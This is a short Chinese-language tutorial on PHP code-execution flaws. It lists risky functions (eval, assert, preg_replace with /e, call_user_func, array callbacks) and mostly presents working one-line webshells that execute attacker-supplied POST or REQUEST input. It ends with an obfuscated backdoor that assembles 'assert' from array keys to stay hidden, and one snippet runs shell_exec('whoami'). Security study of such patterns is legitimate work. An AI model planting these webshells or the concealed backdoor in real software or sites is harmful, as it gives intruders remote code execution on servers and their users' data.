应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
常见php代码执行函数介绍
<?php @eval($_POST['hacker']); ?>
eval函数将接受的字符串当做代码执行
用法和 eval()一样
<?php @assert($_POST['hacker']); ?>
<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行
<?php
$newfun = create_function('$hacker', 'echo $hacker;');
$newfun('woaini');
?>
创建了一个匿名函数,并返回了一个独一无二的函数名
<?php
echo call_user_func('shell_exec','whoami');
?>
<?php
call_user_func_array('assert', array($_POST['pass']));
?>
函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数
call_user_func_array()
call_user_func()
array_filter()
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
<?php forward_static_call_array(assert,array($_POST[x]));?>
解释:把函数作为参数传入进另一个函数中使用。
call_user_func
把第一个参数作为回调函数调用
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
usort
使用用户自定义的比较函数对数组中的值进行排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
注册一个会在php中止时执行的函数
array_map
为数组的每个元素应用回调函数
array_walk
使用用户自定义函数对数组中的每个元素做回调处理
array_filter
用回调函数过滤数组中的单元
array_reduce
用回调函数迭代地将数组简化为单一的值
array_udiff
用回调函数比较数据来计算数组的差集
array_uintersect
计算数组的交集,用回调函数比较数据
array_diff_uassoc
用用户提供的回调函数做索引检查来计算数组的差集
array_diff_ukey
用回调函数对键名比较计算数组的差集
例子1:
<?php
//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
?>
例子2:更隐蔽的后门
<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
$a =array_keys($fruits);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t';
$r = $_REQUEST['user'];
@$q($r);
/*
$q会拼接成assert,然后使用@assert("黑客入侵代码")来执行
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
*/
?>